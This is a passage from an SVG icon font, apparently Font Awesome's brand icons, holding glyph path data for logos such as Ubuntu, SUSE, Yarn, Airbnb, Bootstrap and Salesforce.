c-15.6602 0 -20.2002 -20.1699 -38.8701 -20.1699c-18 0 -31.3105 15.0596 -48.1201 15.0596c-16.1406 0 -26.6602 -11 -34.7803 -33.6201c-27.5 -77.5498 -26.2803 -74.2695 -26.1201 -78.2695c0 -24.7998 97.6406 -106.11 228.47 -106.11zM429.07 193.19
l-0.0703125 -0.0302734c4.65039 -22 4.65039 -24.3506 4.65039 -27.25c0 -37.6602 -42.3301 -58.5605 -98 -58.5605c-125.74 -0.0800781 -235.91 73.6504 -235.91 122.33v0.0771484c0 5.65332 1.81836 14.4531 4.05957 19.6436
c-45.2402 -2.26074 -103.8 -10.3301 -103.8 -62.0303c0 -84.6699 200.63 -189 359.49 -189c121.79 0 152.51 55.0801 152.51 98.5801c0 34.21 -29.5898 73.0498 -82.9297 96.2402z" />
    <glyph glyph-name="sketch" unicode="&#xf7c6;" horiz-adv-x="512" 
d="M27.5 285.8l78.9004 105.8l-6.90039 -130.699h-90.5zM396.3 402.3l7.10059 -133.5l-135.7 147.2zM112.2 229.7l122.6 -239.7l-224.899 261.7h91.0996zM114.2 260.9l142.1 154.1l60.4004 -65.5996l81.5 -88.5h-284zM411.5 251.8v-0.0996094h90.9004l-224.801 -261.7z
M415.4 379l87.8994 -118.1h-90.2998l-6.09961 113.399l-0.900391 17.2998zM113.5 354.5l2.59961 47.7998l128.601 13.7002l-135.8 -147.1zM401.2 251.8l-144.9 -283.8l-102.7 200.9l-42.3994 82.8994h290z" />
    <glyph glyph-name="sourcetree" unicode="&#xf7d3;" 
d="M427.2 245c-0.0947266 -81.5225 -63.1279 -168.031 -140.7 -193.1v-101.601c0 -7.89355 -6.40625 -14.2998 -14.2998 -14.2998v0h-96.4004c-7.89355 0 -14.2998 6.40625 -14.2998 14.2998v101.7c-77.5566 25.0537 -140.5 111.535 -140.5 193.037v0.363281
c0.200195 112 91.0996 202.8 203.2 202.6c112.1 0 203 -90.9004 203 -203zM155.6 245c0 -91 137.2 -89.9004 137.301 0c0 90.7998 -137.301 90.7998 -137.301 0z" />
    <glyph glyph-name="suse" unicode="&#xf7d6;" horiz-adv-x="640" 
d="M471.08 345.34c0 1 1.01953 0.759766 0.919922 0.660156c4.2002 -0.599609 92.2002 -13.7002 129.2 -35.2998c12.0996 -6.90039 20.7002 -21.5 34.5 -69.6006c0.700195 -2.7998 -2.7998 -5.09961 -3.60059 -5.69922
c-26.8994 -18.8008 -56.7998 -36.6006 -145.199 21.6992c11.0996 -26.6992 10.6992 -25.0996 11 -25.5c5.39941 -2.7998 56.2998 -28.6992 81.5996 -28.1992c20.4004 0.399414 42.2002 10.3994 50.9004 15.5996c0 0 4.5 2.7002 3.19922 -2.40039
c-0.5 -1.89941 -3.2998 -14.5996 -7 -17.6992c-1 -1 -36.5996 -28.4004 -103.1 -28c-42.7002 1 -76.7998 16.3994 -82.4004 -17.4004c-2.7998 -17.0996 6.10059 -37.5 18.9004 -55.7998h-48.5996c-15.9004 28.3994 -23.1006 68.2998 -79.8008 68.2998
c-51.5996 0 -48.3994 -50.7002 -42.6992 -68.2998h-45.9004c-18.7998 68.7998 -69.2002 98.5996 -102.4 104.3c-74.2998 12.7998 -113 -49.2002 -87 -98.4004c23.1006 -43.5996 81.4004 -44.0996 99.7002 -20.3994c19.2002 25 3.7998 62.8994 -28.5 65.7002
c-12.2998 1.09961 -25.2998 -4.60059 -25.5 -16.9004v-0.0595703c0 -10.9004 10 -13.8008 12 -14c7.2998 0.399414 8.90039 1.89941 11.7998 2.39941c5.2002 0.900391 16.8008 -1.7998 16.8008 -13.8994c0 -8.40039 -6.80078 -13.1006 -13.3008 -14.9004
c-4.2373 -1.46777 -11.3154 -2.67773 -15.7998 -2.7002c-17.2002 0 -41.2002 14.7998 -41.5 42.6006c-0.200195 15.6992 7.7002 30 21.6006 39.1992c15.8994 10.5 43.5996 14.1006 69.1992 -1.59961c31.5 -19.2998 39.7002 -57.0996 31.5 -82.9004
c-11.8994 -37.2998 -45.5996 -57.1992 -90 -53.2998c-31.5 2.7998 -60.6992 19.4004 -78.0996 44.4004c-6.32715 9.0332 -13.7197 25.0264 -16.5 35.7002c-7.12012 28.0596 0 58.0596 5.48047 71.3994c25.6992 63.6006 80.1992 97.2998 99.5996 109.7
c100.2 61.5996 171.1 59.0996 223 57.2998c61.2998 -2.2002 126.6 -23.2998 135.7 -26.2998c0 2 0.299805 20.2998 0.299805 20.2998zM531.48 272.54c-1.10059 -33.5 39.0996 -51.5996 63.2998 -28.9004c24.3994 22.9004 9 64 -24.4004 65.2002
c-0.380859 0.0136719 -0.999023 0.0253906 -1.37988 0.0253906c-20.0615 0 -36.8711 -16.2734 -37.5195 -36.3252zM570.08 297.84c14.0312 -0.413086 25.4199 -12.1406 25.4199 -26.1787c0 -0.282227 -0.00878906 -0.739258 -0.0195312 -1.02148
c-0.50293 -13.9795 -12.2646 -25.3262 -26.2539 -25.3262c-14.501 0 -26.2695 11.7695 -26.2695 26.2705s11.7686 26.2695 26.2695 26.2695c0.236328 0 0.618164 -0.00585938 0.853516 -0.0136719zM574.38 269.04c15.4004 0 15.4004 15.5996 0 15.5996
c-15.3994 0 -15.3994 -15.5996 0 -15.5996z" />
    <glyph glyph-name="ubuntu" unicode="&#xf7df;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM300.7 347c-8.7998 -15.2002 -3.60059 -34.7002 11.7002 -43.5996c15.1992 -8.80078 34.6992 -3.5 43.5 11.6992c8.7998 15.3008 3.59961 34.8008 -11.7002 43.6006
c-15.2002 8.7998 -34.7002 3.5 -43.5 -11.7002zM87.4004 160.1c17.5996 0 31.8994 14.3008 31.8994 31.9004s-14.2998 31.9004 -31.8994 31.9004c-17.6006 0 -31.9004 -14.3008 -31.9004 -31.9004s14.2998 -31.9004 31.9004 -31.9004zM115.5 157
c8.7002 -32.7002 29.0996 -60.7002 56.5 -79l23.7002 39.5996c-51.5 36.3008 -51.5 112.5 0 148.801l-23.7002 39.5996c-27.4004 -18.4004 -47.9004 -46.2998 -56.5 -79.0996c22.4004 -18 22.2998 -52 0 -69.9004zM344.2 25.2998
c15.2998 8.7998 20.5 28.2998 11.7002 43.6006c-8.80078 15.2998 -28.3008 20.5 -43.5 11.6992c-15.3008 -8.7998 -20.5 -28.2998 -11.7002 -43.5996s28.2002 -20.5 43.5 -11.7002zM344.5 94.7998c23 22.9004 38 53.9004 40.2998 88.4004l-46.0996 0.700195
c-5.5 -62.7002 -71.9004 -100.9 -128.9 -74.4004l-22.5 -40.2998c47.7998 -23.7002 91.5 -10.7998 96.7002 -9.40039c4.40039 28.4004 33.7998 45.2998 60.5 35zM338.6 200.1l46 0.600586c-2.19922 34.5996 -17.0996 65.5996 -40.1992 88.5
c-26.7002 -10.2998 -56.1006 6.7002 -60.5 35c-5.2002 1.39941 -48.8008 14.2998 -96.7002 -9.40039l22.5 -40.2998c57.5996 26.7998 123.5 -12.4004 128.899 -74.4004z" />
    <glyph glyph-name="ups" unicode="&#xf7e0;" horiz-adv-x="384" 
d="M103.2 145v123h32.5996v-141.6c-17.7002 -12.1006 -97.8994 -35.9004 -97.8994 39v102.6h32.6992v-104c0 -32.0996 27.4004 -22.5996 32.6006 -19zM4 373.18c93.5996 49.6006 259.1 61.6006 375.4 0v-220.899c0 -103.9 -75.3008 -135.2 -187.7 -184.101
c-112.8 48.9004 -187.7 80.4004 -187.7 184.101v220.899zM362.1 152.28v216.2c-109.3 10.1992 -238.6 4 -340.899 -89.8008v-126.399c0 -86.6006 53 -113.5 170.5 -165.3c117.2 51.6992 170.399 78.6992 170.399 165.3zM152.5 259.68
c23.7002 15.3203 104.4 31.8008 104.4 -65.5996c0 -75.9004 -47.3008 -85.7998 -71.7002 -78.5v-68.7002h-32.7002v212.8zM185.2 142.38c2 -0.799805 38.3994 -16.8994 38.3994 51c0 62 -30 53.5 -38.3994 49.2998v-100.3zM264.3 228.78
c-0.200195 41.0996 51.2002 53.8994 79.7002 31.8994v-28.3994c-17.9004 18.2998 -47.9004 18.0996 -48.5 -2.2002c-0.700195 -26.5996 55.0996 -21.7002 53.4004 -73.2002c-1.30078 -41.5996 -47 -55 -83.2002 -33.5v30.1006
c20.3994 -18.1006 51.3994 -18.6006 50.7998 4.89941c-0.599609 27.9004 -52.0996 23.1006 -52.2002 70.4004z" />
    <glyph glyph-name="usps" unicode="&#xf7e1;" horiz-adv-x="576" 
d="M460.3 206.3c-1.39941 -2.2002 -4.2998 -4.39941 -3.7998 0.100586c2.90039 11.5996 13.9004 30.5 4.40039 32c-17.8008 3.09961 -88.1006 -4.5 -88.1006 0c0 2.39941 26.7002 3.09961 37.9004 8.69922c9.39941 9.40039 10.7998 8 10.8994 8h27
c26.9004 0 37.5 -7.5 11.7002 -48.7998zM348.2 183.7c-62.2998 -21.2002 -124.8 -54.2002 -321.2 -151.5l52.4004 245.5c185 0 335.199 5.59961 337.899 -22.6006h-196.6l30.7002 -93.2998c35 16.7998 120.899 51.7002 172.6 53.9004
c21.7998 0.799805 30.5996 -2.90039 26.2002 -5.7998c-4.7002 -2.30078 -38 -4.90039 -102 -26.2002zM94.7002 352h454.3l-67.7002 -319.7h-423.1s402 157.3 406.399 160.2c0 0 35.7002 48 14.6006 67.7002c-6.5 6.59961 -16 6.59961 -52.4004 6.59961
c-2.09961 19.5 -78.7998 31.5 -332.1 85.2002z" />
    <glyph glyph-name="yarn" unicode="&#xf7e3;" horiz-adv-x="496" 
d="M393.9 102.8c-39 -9.2998 -48.4004 -32.0996 -104 -47.3994c0 0 -2.7002 -4 -10.4004 -5.80078c-13.4004 -3.2998 -63.9004 -6 -68.5 -6.09961c-12.4004 -0.0996094 -19.9004 3.2002 -22 8.2002c-6.40039 15.2998 9.2002 22 9.2002 22
c-8.10059 5 -9 9.89941 -9.7998 8.09961c-2.40039 -5.7998 -3.60059 -20.0996 -10.1006 -26.5c-8.7998 -8.89941 -25.5 -5.89941 -35.2998 -0.799805c-10.7998 5.7002 0.799805 19.2002 0.799805 19.2002s-5.7998 -3.40039 -10.5 3.59961
c-6 9.2998 -17.0996 37.2998 11.5 62c-1.2998 10.1006 -4.59961 53.7002 40.6006 85.6006c0 0 -20.6006 22.7998 -12.9004 43.2998c5 13.3994 7 13.2998 8.59961 13.8994c5.7002 2.2002 11.3008 4.60059 15.4004 9.10059c20.5996 22.2002 46.7998 18 46.7998 18
s12.4004 37.7998 23.9004 30.3994c3.5 -2.2998 16.2998 -30.5996 16.2998 -30.5996s13.5996 7.90039 15.0996 5c8.2002 -16 9.2002 -46.5 5.60059 -65.0996c-6.10059 -30.6006 -21.4004 -47.1006 -27.6006 -57.5c-1.39941 -2.40039 16.5 -10 27.8008 -41.3008
c10.3994 -28.5996 1.09961 -52.6992 2.7998 -55.2998c0.799805 -1.39941 13.7002 -0.799805 36.3994 13.2002c12.8008 7.90039 28.1006 16.9004 45.4004 17c16.7002 0.5 17.5996 -19.2002 4.90039 -22.2002zM496 192c0 -136.9 -111.1 -248 -248 -248s-248 111.1 -248 248
s111.1 248 248 248s248 -111.1 248 -248zM416.7 116.8c-1.7002 13.6006 -13.2002 23 -28 22.7998c-22 -0.299805 -40.5 -11.6992 -52.7998 -19.1992c-4.80078 -3 -8.90039 -5.2002 -12.4004 -6.80078c3.09961 44.5 -22.5 73.1006 -28.7002 79.4004
c7.7998 11.2998 18.4004 27.7998 23.4004 53.2002c4.2998 21.7002 3 55.5 -6.90039 74.5c-1.59961 3.09961 -7.39941 11.2002 -21 7.39941c-9.7002 20 -13 22.1006 -15.5996 23.8008c-1.10059 0.699219 -23.6006 16.3994 -41.4004 -28
c-12.2002 -0.900391 -31.2998 -5.30078 -47.5 -22.8008c-2 -2.19922 -5.89941 -3.7998 -10.0996 -5.39941h0.0996094c-8.39941 -3 -12.2998 -9.90039 -16.8994 -22.2998c-6.5 -17.4004 0.199219 -34.6006 6.7998 -45.7002c-17.7998 -15.9004 -37 -39.7998 -35.7002 -82.5
c-34 -36 -11.7998 -73 -5.59961 -79.6006c-1.60059 -11.0996 3.69922 -19.3994 12 -23.7998c12.5996 -6.7002 30.2998 -9.59961 43.8994 -2.7998c4.90039 -5.2002 13.7998 -10.0996 30 -10.0996c6.7998 0 58 2.89941 72.6006 6.5c6.7998 1.59961 11.5 4.5 14.5996 7.09961
c9.7998 3.09961 36.7998 12.2998 62.2002 28.7002c18 11.7002 24.2002 14.2002 37.5996 17.3994c12.9004 3.2002 21 15.1006 19.4004 28.2002z" />
    <glyph glyph-name="airbnb" unicode="&#xf834;" 
d="M224 74.8799h0.0595703c24.71 31.1797 39.5508 58.9297 45 83.1797c22.5508 88 -112.609 88 -90.0596 0c4.91992 -23.75 19.7598 -51.5098 45 -83.1797zM362.15 1.65039c35.6396 15.3496 50.1797 53.5693 37.0098 86.6396
c-25.4902 61.6104 -78.8398 168.47 -114.84 239.09c-16.9707 33.9297 -28.0303 59.8701 -60.3701 59.8701c-33.8203 0 -43.6299 -27.3301 -59.3799 -57.4004c-4.15039 -10.3799 -100.771 -202.399 -115.87 -241.56c-17.8105 -50.0303 21.2998 -98.5205 71.2998 -91.0898
c24.5996 2.22949 52.6201 18.8701 85.1504 54.9199c-29.2002 37.1104 -47.5 70.3096 -54.4307 99.5c-11.8799 53.9902 18.3604 100.5 73.2803 100.5c64.96 0 122.75 -69.9297 18.8496 -200c35.6309 -39.5898 77.2402 -68.7803 119.301 -50.4697zM409.15 137.77
c0 -0.679688 16.8496 -35.6895 16.8301 -39.5791c25.2393 -69.3301 -26.7207 -130.24 -89.6104 -130.19c-11.1104 0 -53.6904 -1.37988 -112.37 62.4004c-51.7598 -56.3408 -90.6602 -62.4004 -112.37 -62.4004c-62.8896 0 -114.85 60.8604 -89.6299 130.19
c0.889648 2.61914 11.1797 32.71 117.34 245.02c19.79 41.1201 39.1406 72.79 84.6602 72.79c49.1299 0 56.2695 -3.92969 185.15 -278.23z" />
    <glyph glyph-name="battle-net" unicode="&#xf835;" horiz-adv-x="512" 
d="M448.61 222.38c60.75 -36.25 71.9893 -73.8096 57.3193 -93.6895c-4.70996 -6.88086 -25.1797 -36.2402 -148 -31.6406c-21.8193 -30.3994 -45.25 -53.2695 -67.4697 -69.2695c28.54 -53.7803 54.2998 -85.0303 62.54 -91.7803c0 0 -3.44043 0.160156 -8.58008 3.37012
c-2.69434 1.61133 -6.61426 4.78809 -8.75 7.08984c-15.6299 16.1797 -35.5195 41.9404 -55.7002 74.1201c-43.9502 -28.1104 -81.1299 -29.0996 -88.4395 -9.4502c-4.83984 10.8301 1.5293 26.5 9.05957 39.3398c-31.3203 -17.5098 -61.7002 -26.8496 -86.7002 -21.1396
c-6.79004 1.54004 -17.6299 5.50977 -23.1992 18.2598c-4.52051 9.53027 -6.02051 24.2598 -0.150391 47.1406c9.07031 35.3398 37.5801 82.2998 47.3096 97.6992c3.75 -8.62988 -20.7793 40.1904 -26 93.1904c-89.1592 0 -110.56 -8.83984 -111.56 -9.21973
c1.54004 2.44922 7.86035 7.26953 17.7598 9.71973c22 5.47949 54.6406 9.84961 93 11.2295c-2.38965 52.0703 15.3398 84.7705 36 81.29h0.180664c11.3291 -1.2998 21.2598 -13.5801 28.5 -25.9297c0.669922 35.2002 7.7998 65.54 25 84.0703
c4.72949 5.14941 13.5693 12.5498 27.3994 11h0.0498047c10.5205 -0.850586 24 -6.91992 40.8398 -23.4707c25.6006 -25.0693 51.54 -71.9893 60.4805 -88.9297c37.25 -3.7002 68.7695 -12.5801 93.7695 -23.7998c32.3506 51.5898 46.4805 89.5303 48.2002 100.05
c0.640625 -1.25 2.93066 -8.41992 -0.450195 -20.25c-6.22949 -21.6201 -18.5791 -51.7197 -36.3398 -85.2998c45.79 -23.7305 65.3203 -55.0098 52.8506 -71.3301c-3.35059 -4.94043 -12.0498 -12.5498 -38.9199 -12.3701zM370.76 116.16
c70.4102 4.37988 79.6504 20.5703 78.5098 33.5c-1.87988 21.25 -21.1992 41.2598 -49.0596 58.8301c0.889648 -24.5605 -5.63965 -54.6201 -29.4502 -92.3301zM216.9 60.3096c-19.04 -30.46 9.19922 -39.5596 49.7998 -17.6992
c-7 12.0898 -13.9199 24.8594 -20.6006 38.1895c-9.66992 -7.37012 -19.4395 -14.2598 -29.1992 -20.4902zM431.9 231.66c36.2598 -1.23047 29.4199 27.8496 -9.64062 51.9502c-5.9707 -10.373 -16.1582 -26.9043 -22.7402 -36.9004
c11.2207 -4.70996 22.0908 -9.70996 32.3809 -15.0498zM279.18 50c28.3799 18.2002 60.1689 48.1201 84.7695 85.4297c18.46 27.96 26.1494 56.0205 25.4102 79.5703c-30.5801 17.3203 -89.3604 42.7197 -167.23 57.21c0.350586 18.4805 2.08984 19.8799 2.16016 20.3301
c10.9229 -1.33496 28.5693 -4.04492 39.3896 -6.0498c32.5664 -6.08984 84.2383 -20.2959 115.34 -31.71c-15.6191 33.1494 -41.4092 47.2197 -41.5195 47.2197c1.59961 0.160156 28.1299 -6 48.8604 -43.7197c8.42676 11.2061 16.2031 22.0293 23.3301 32.4697
c-29.96 15.46 -71.75 28.04 -116.32 30.71c-33.4502 1.99023 -61.6299 -5.38965 -81.6299 -17.8096c0.240234 -35.2607 7.66992 -98.96 34 -173.431c-16.8301 -9.12988 -17.7402 -7.87012 -18.6699 -8.25c-17.1924 40.7627 -37.2041 109.235 -44.6699 152.84
c-21.0908 -30.3994 -20.1406 -59.5 -20.1406 -59.5693c-0.919922 1.22949 -8.81934 27.4297 13.4707 64.2295c-13.5801 1.70996 -26.5508 2.9707 -38.8506 3.87988c1.57031 -33.6797 11.5703 -76.1494 31.5703 -116.069c14.8701 -29.71 35.1201 -50.3105 55.71 -61.4902
c30.4102 17.9199 81.0498 55.6504 132.75 115.92c14.9697 -9 16.1494 -11.71 16.5098 -12c-7.91309 -10.5332 -16.2227 -20.9033 -24.9287 -31.1104c-21.542 -25.1426 -59.6494 -62.7744 -85.0605 -84c37.5303 -3.38965 62.5303 12.1807 62.5303 12.25
c-0.860352 -1.67969 -20.0303 -21.6797 -63.2803 -20.4092c5.5 -12.9404 10.9902 -25.0908 16.5 -36.4404zM306.579 337c-1.58008 2.4502 -39.5801 58.8496 -56.4805 54.6104c-16.8994 1.09961 -36.21 -22.9805 -38.21 -75.2803
c21.1104 13.2402 50.1299 22.3301 94.6904 20.6699zM175.929 333.9c-3.7998 6.68945 -8.66992 12.4795 -14.4297 13.5693h-0.0898438c-24.79 1.41016 -24.75 -52.8301 -24.6699 -49.5898c13.6602 -0.00976562 27.8496 -0.410156 42.3994 -1.25977
c-1.62012 12.6602 -2.72949 25.1699 -3.20996 37.2803zM147.869 171.9c-30.7998 -61.5098 -19.8701 -76.6104 -19.6699 -76.8203c7.38965 -15.4902 38.1299 -20.25 84.9199 4.50977c-21.9502 11.7402 -44.4902 32.6104 -65.25 72.3105zM357.929 97.0996z" />
    <glyph glyph-name="bootstrap" unicode="&#xf836;" 
d="M292.3 136.07c0 -42.4102 -39.7197 -41.4307 -43.9199 -41.4307h-80.8896v81.6904h80.8896c42.5605 0 43.9199 -31.9004 43.9199 -40.2598zM242.15 209.2h-74.6602v72.1797h74.6602c34.9297 0 38.4395 -20.3496 38.4395 -35.8701
c0 -37.3096 -37.7695 -36.3096 -38.4395 -36.3096zM448 341.33v-298.66c-0.120117 -41.0977 -33.5723 -74.5498 -74.6699 -74.6699h-298.66c-41.0977 0.120117 -74.5498 33.5723 -74.6699 74.6699v298.66c0.120117 41.0977 33.5723 74.5498 74.6699 74.6699h298.66
c41.0977 -0.120117 74.5498 -33.5723 74.6699 -74.6699zM338.05 130.14c0 21.5703 -6.64941 58.29 -49.0498 67.3506v0.729492c22.9102 9.78027 37.3398 28.25 37.3398 55.6406c0 7 2 64.7793 -77.5996 64.7793h-127v-261.33c128.229 0 139.87 -1.67969 163.6 5.70996
c14.21 4.4209 52.71 17.9805 52.71 67.1201z" />
    <glyph glyph-name="buffer" unicode="&#xf837;" 
d="M427.84 67.3301l-196.5 -97.8203c-1.93848 -0.832031 -5.22461 -1.50684 -7.33496 -1.50684c-2.10938 0 -5.39551 0.674805 -7.33496 1.50684l-196.51 97.8203c-4 2 -4 5.28027 0 7.29004l47.0596 23.3799c1.94238 0.832031 5.23242 1.50684 7.3457 1.50684
c2.1123 0 5.40234 -0.674805 7.34473 -1.50684l134.76 -67c1.93848 -0.836914 5.22461 -1.51562 7.33496 -1.51562c2.11133 0 5.39746 0.678711 7.33496 1.51562l134.76 67c1.94043 0.832031 5.22949 1.50781 7.34082 1.50781s5.39941 -0.675781 7.33984 -1.50781
l47.0596 -23.4297c4.0498 -1.95996 4.0498 -5.24023 0 -7.24023zM427.84 203.86c4.0498 -2.01074 4.0498 -5.29004 0 -7.31055l-196.5 -97.7998c-1.93848 -0.832031 -5.22461 -1.50781 -7.33496 -1.50781c-2.10938 0 -5.39551 0.675781 -7.33496 1.50781l-196.51 97.7998
c-4 2.02051 -4 5.31055 0 7.31055l47.0596 23.4297c1.94238 0.832031 5.23242 1.50684 7.3457 1.50684c2.1123 0 5.40234 -0.674805 7.34473 -1.50684l134.76 -67.0801c1.93945 -0.828125 5.22559 -1.5 7.33496 -1.5s5.39551 0.671875 7.33496 1.5l134.76 67.0801
c1.94043 0.832031 5.22949 1.50781 7.34082 1.50781s5.39941 -0.675781 7.33984 -1.50781zM20.1602 317.58c-4.0498 1.86035 -4.0498 4.88965 0 6.74023l196.5 90.2793c1.9502 0.774414 5.23633 1.40332 7.33496 1.40332s5.38477 -0.628906 7.33496 -1.40332
l196.51 -90.2793c4 -1.85059 4 -4.87988 0 -6.74023l-196.51 -90.29c-1.95215 -0.765625 -5.23828 -1.3877 -7.33496 -1.3877s-5.38281 0.62207 -7.33496 1.3877z" />
    <glyph glyph-name="chromecast" unicode="&#xf838;" horiz-adv-x="512" 
d="M447.83 384h0.169922c23.5811 0 42.7197 -19.1387 42.7197 -42.7197v-298.561c0 -23.5811 -19.1387 -42.7197 -42.7197 -42.7197v0h-149.36v42.7197h149.19v298.561h-383.83v-63.9199h-42.7197v63.9199c0 23.5811 19.1387 42.7197 42.7197 42.7197h383.83z
M21.2803 64.4199c35.2783 0 63.9102 -28.6318 63.9102 -63.9102v-0.00976562h-63.9102v63.9199zM21.2803 149.7l0.0292969 -0.339844h0.330078c82.248 -0.105469 149 -66.9424 149 -149.19v-0.169922h-42.7197v0.339844v0.0302734c0 58.8594 -47.7705 106.63 -106.63 106.63
h-0.00976562v42.7002zM21.2803 234.97v-0.330078c129.46 -0.370117 234.34 -105.18 234.8 -234.64h-42.7197v0.5c-0.0800781 106 -86.0801 191.85 -192.08 191.75v42.7197z" />
    <glyph glyph-name="evernote" unicode="&#xf839;" horiz-adv-x="384" 
d="M120.82 315.79c1.59961 -22.3096 -17.5508 -21.5898 -21.6104 -21.5898c-68.9297 0 -73.6396 1 -83.5801 -3.33984c-0.55957 -0.220703 -0.740234 0 -0.370117 0.370117l108.53 110.319c0.379883 0.370117 0.599609 0.219727 0.379883 -0.370117
c-4.34961 -9.98926 -3.34961 -15.0898 -3.34961 -85.3896zM199.82 7.79004c-14.6807 37.0801 13 76.9297 52.5195 76.6201c17.4902 0 22.6006 -23.21 7.9502 -31.4199c-6.19043 -3.2998 -24.9502 -1.74023 -25.1396 -19.2002
c-0.0507812 -17.0898 19.6699 -25 31.1992 -24.8896h0.0107422c25.1934 0 45.6396 20.4463 45.6396 45.6396v0.00976562v0.0800781c0 11.6299 -7.79004 47.2197 -47.54 55.3398c-7.71973 1.54004 -65 6.35059 -68.3496 50.5205
c-3.74023 -16.9307 -17.4004 -63.4902 -43.1104 -69.0898c-8.74023 -1.94043 -69.6797 -7.64062 -112.92 36.7695c0 0 -18.5703 15.2305 -28.2305 57.9502c-3.37988 15.75 -9.2793 39.7002 -11.1396 62c0 18 11.1396 30.4502 25.0703 32.2002c81 0 90 -2.32031 101 7.7998
c9.81934 9.24023 7.7998 15.5 7.7998 102.78c1 8.2998 7.79004 30.8096 53.4102 24.1396c6 -0.860352 31.9102 -4.17969 37.4795 -30.6396l64.2607 -11.1504c20.4297 -3.70996 70.9395 -7 80.5996 -57.9404c22.6602 -121.09 8.91016 -238.46 7.7998 -238.46
c-15.9795 -114.38 -111.07 -108.85 -111.07 -108.85c-18.9492 0.230469 -54.25 9.40039 -67.2695 39.8301zM280.76 212.63c-1 -1.91992 -2.2002 -6 0.850586 -7c14.0898 -4.92969 39.75 -6.83984 45.8799 -5.53027c3.10938 0.25 3.0498 4.43066 2.47949 6.65039
c-3.5293 21.8496 -40.8301 26.5 -49.2393 5.91992z" />
    <glyph glyph-name="itch-io" unicode="&#xf83a;" horiz-adv-x="512" 
d="M71.9199 413.23c19.2197 1.66992 114.32 2.76953 184.08 2.76953s116.56 -0.400391 184 -2.73047c21.7197 -12.9297 64.5195 -62.0996 64.9199 -75v-21.3398c0 -27.0596 -25.25 -50.8398 -48.25 -50.8398c-27.54 0 -50.54 22.8799 -50.54 50
c0 -27.1494 -22.2295 -50 -49.7598 -50s-49 22.8799 -49 50c0 -27.1494 -23.5898 -50 -51.1602 -50h-0.5c-27.5703 0 -51.1602 22.8799 -51.1602 50c0 -27.1494 -21.4199 -50 -49 -50s-49.7598 22.8799 -49.7598 50c0 -27.1494 -22.9697 -50 -50.54 -50
c-22.96 0 -48.25 23.7803 -48.25 50.8398v21.3398c0.400391 12.8906 43.2002 62.0605 64.9199 74.9609zM204.24 278.84c9.14844 -15.9902 31.5527 -28.9785 49.9746 -28.9785c0.498047 0 1.30664 0.0126953 1.80469 0.0283203c28.7109 0 44.6602 16.4502 51.7607 28.9404
c22 -38.3398 77.8496 -38.7598 99.8496 -0.240234c13.1201 -23.0596 43.0801 -32.0996 56 -27.6602c3.57031 -37.1494 13.9004 -236.88 -17.75 -269.149c-77.6797 -18.1201 -299.76 -18.6699 -379.76 0c-31.4004 32.0195 -21.6006 229 -17.7305 269.149
c12.8301 -4.41016 42.8301 4.52051 56 27.6602c21.9502 -38.46 77.8506 -38.1494 99.8506 0.25zM162.66 225.07l-0.0205078 -0.0703125c-52.3193 0 -65.21 -77.4502 -83.8799 -144.45c-17.2598 -62.1494 5.52051 -63.6699 33.9404 -63.7295
c42.1494 1.56934 65.4902 32.1797 65.4902 62.79c53.6191 -8.79004 116.3 -6.43066 155.55 0c0 -30.6104 23.3398 -61.2207 65.4902 -62.79c28.4297 0.0595703 51.21 1.58008 33.9492 63.7295c-18.6494 66.9199 -31.54 144.45 -83.8701 144.45
c-16.46 0 -31.0898 0 -49.25 -19.71c-12.1377 1.23145 -31.8896 2.23047 -44.0898 2.23047c-12.1992 0 -31.9521 -0.999023 -44.0898 -2.23047c-18.1299 19.7803 -32.75 19.7803 -49.2197 19.7803zM256 177.21l-0.0595703 -0.00976562s44.3496 -40.7598 52.3496 -55.2402
l-29 1.16992v-25.2803c0 -1.15918 -11.6602 -0.699219 -23.3096 -0.15918c-1.99023 0 -23.3301 -1.39062 -23.3301 0.15918v25.3203l-29 -1.16992c7.96973 14.4404 52.3496 55.21 52.3496 55.21z" />
    <glyph glyph-name="salesforce" unicode="&#xf83b;" horiz-adv-x="640" 
d="M248.89 202.36h-26.3496c0.69043 5.15918 3.32031 14.1201 13.6396 14.1201c6.75 0 11.9707 -3.82031 12.71 -14.1201zM385.55 216.24c0.450195 0 14.1104 1.75977 14.1104 -20c0 -6.45996 -1.11035 -20 -14.1104 -20c-0.479492 0 -14.1094 -1.77051 -14.1094 20
c0 21.7695 13.6396 20 14.1094 20zM142.33 192.48c4.2002 3.60938 15.6104 2.71973 20.9297 1.64941v-16.9395c-5.85938 -1.1709 -16.2295 -2.75 -20.9297 0.949219c-1.20996 1 -3.29004 2.27051 -3.29004 7.05078
c-0.0078125 0.137695 -0.0146484 0.361328 -0.0146484 0.499023c0 2.31738 1.48047 5.36035 3.30469 6.79102zM640 216c0 -87.5801 -80 -154.39 -165.36 -136.43c-18.3701 -33 -70.7295 -70.75 -132.199 -41.6299c-41.1602 -96.0508 -177.891 -92.1807 -213.811 5.16992
c-119.72 -23.8906 -178.82 138.37 -75.2695 199.279c-34.75 79.4307 22.6396 173.61 114.31 173.61c33.834 -0.0214844 77.9883 -21.8389 98.5605 -48.7002c20.6992 21.4004 49.3994 34.8105 81.1494 34.8105c42.3398 0 79 -23.5205 98.7998 -58.5703
c92.8203 40.6797 193.82 -28.2305 193.82 -127.54zM120.45 184.2c0 11.7598 -11.6904 15.1699 -17.8701 17.1699c-5.27051 2.11035 -13.4102 3.50977 -13.4102 8.93945c0 9.45996 17 6.66016 25.1699 2.12012c0 0 1.16992 -0.709961 1.64062 0.470703
c0.239258 0.699219 2.35938 6.58008 2.58984 7.29004c0.0292969 0.0927734 0.0537109 0.24707 0.0537109 0.34375c0 0.441406 -0.337891 0.918945 -0.753906 1.06543c-12.3301 7.63086 -40.7002 8.51074 -40.7002 -12.6992c0 -12.46 11.4902 -15.4404 17.8799 -17.1699
c4.71973 -1.58008 13.1699 -3 13.1699 -8.7002c0 -4 -3.5293 -7.06055 -9.16992 -7.06055c-5.82617 0.00976562 -14.3379 2.85449 -19 6.35059c-0.469727 0.229492 -1.41992 0.709961 -1.64941 -0.709961l-2.40039 -7.4707
c-0.469727 -0.939453 0.230469 -1.17969 0.230469 -1.40918c1.75 -1.40039 10.2998 -6.59082 22.8193 -6.59082c13.1699 0 21.4004 7.06055 21.4004 18.1104v-0.0498047zM152.45 226.78c-10.1299 0 -18.6602 -3.16992 -21.4004 -5.18066
